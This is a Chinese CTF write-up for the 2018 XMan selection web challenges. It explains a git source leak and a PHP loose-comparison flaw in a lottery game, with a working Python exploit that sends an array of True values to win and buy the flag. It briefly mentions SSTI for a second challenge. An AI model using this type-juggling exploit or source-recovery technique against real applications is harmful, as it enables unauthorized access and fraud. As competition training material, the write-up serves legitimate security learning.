QCTF2018-XMan选拔赛

2018XMAN选拔赛-WEB

0x01 Lottery

image

题目描述

这题总地来讲,通过猜数字游戏来赢得奖金,最后需要一大笔奖金来买flag,但赢得的奖金可能率特别低几乎不可能

做题步骤

  • 首先在robots.txt文件提示git源码泄露
  • 用GitHack工具来恢复源码,工具地址和说明如右GitHack
  • 下载并恢复源码后,在api.php文件中有一段源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
  • 分析源码,可以看到有一个==比较,且对输入参数无任何限制,接下来看一段php测试代码(php交互模式下)
    image

可以看到不管数字多少,只要==true,它这个return返回的都是1,也就是视为正确的意思,所以我们可以抓包构造json数组,也可以构造exp

image

exp:(别人博客搜来的,已测试,能用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from requests import Session
from time import time
from json import dumps

u = Session()

u.headers['Content-Type'] = 'application/json'

def register():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'register', 'name' : time() }))

def buy(what):
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'buy' , 'numbers' : what}))

def flag():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'flag'})).text

exp = [True, True, True, True, True, True, True]
register()
buy(exp)
buy(exp)
buy(exp)
print(flag())

0x02 Confusion1

题目关闭了,无奈,这里已经复现了一下原理,可以去我博客看看,这里利用的是SSTI原理,附上几个链接

https://www.jianshu.com/p/55c5477567fe

https://www.jianshu.com/p/cd430094d561

官方网址 https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

文章目录
  1. 1. 2018XMAN选拔赛-WEB
    1. 1.1. 0x01 Lottery
      1. 1.1.1. 题目描述
      2. 1.1.2. 做题步骤
    2. 1.2. 0x02 Confusion1
,